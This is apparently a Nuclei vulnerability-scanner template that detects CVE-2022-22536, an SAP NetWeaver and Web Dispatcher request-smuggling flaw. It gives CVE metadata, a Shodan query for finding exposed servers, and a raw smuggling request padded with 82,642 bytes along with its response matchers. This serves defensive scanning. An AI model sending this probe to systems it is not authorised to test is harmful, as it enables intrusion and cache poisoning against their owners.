64 lines
2.3 KiB
YAML
64 lines
2.3 KiB
YAML
id: CVE-2022-22536
|
|
|
|
info:
|
|
name: SAP Memory Pipes (MPI) Desynchronization
|
|
author: pdteam
|
|
severity: critical
|
|
description: SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable to request smuggling and request concatenation attacks. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary web caches. A successful attack could result in complete compromise of Confidentiality, Integrity and Availability of the system.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-22536
|
|
- https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+February+2022
|
|
- https://github.com/Onapsis/onapsis_icmad_scanner
|
|
- https://blogs.sap.com/2022/02/11/remediation-of-cve-2022-22536-request-smuggling-and-request-concatenation-in-sap-netweaver-sap-content-server-and-sap-web-dispatcher/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10
|
|
cve-id: CVE-2022-22536
|
|
cwe-id: CWE-444
|
|
epss-score: 0.96833
|
|
metadata:
|
|
max-request: 2
|
|
shodan-query: http.favicon.hash:-266008933
|
|
tags: cve,cve2022,sap,smuggling,netweaver,web-dispatcher,memory-pipes,kev
|
|
|
|
http:
|
|
- raw:
|
|
- |+
|
|
GET {{sap_path}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Length: 82646
|
|
Connection: keep-alive
|
|
|
|
{{repeat("A", 82642)}}
|
|
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
payloads:
|
|
sap_path: # based on https://github.com/Onapsis/onapsis_icmad_scanner
|
|
- /sap/admin/public/default.html
|
|
- /sap/public/bc/ur/Login/assets/corbu/sap_logo.png
|
|
|
|
unsafe: true
|
|
read-all: true
|
|
stop-at-first-match: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- "contains(tolower(body), 'administration')" # confirms 1st path
|
|
- "contains(tolower(header), 'content-type: image/png')" # confirms 2nd path
|
|
condition: or
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "HTTP/1.0 400 Bad Request" # error in concatenated response
|
|
- "HTTP/1.0 500 Internal Server Error"
|
|
- "HTTP/1.0 500 Dispatching Error"
|
|
condition: or
|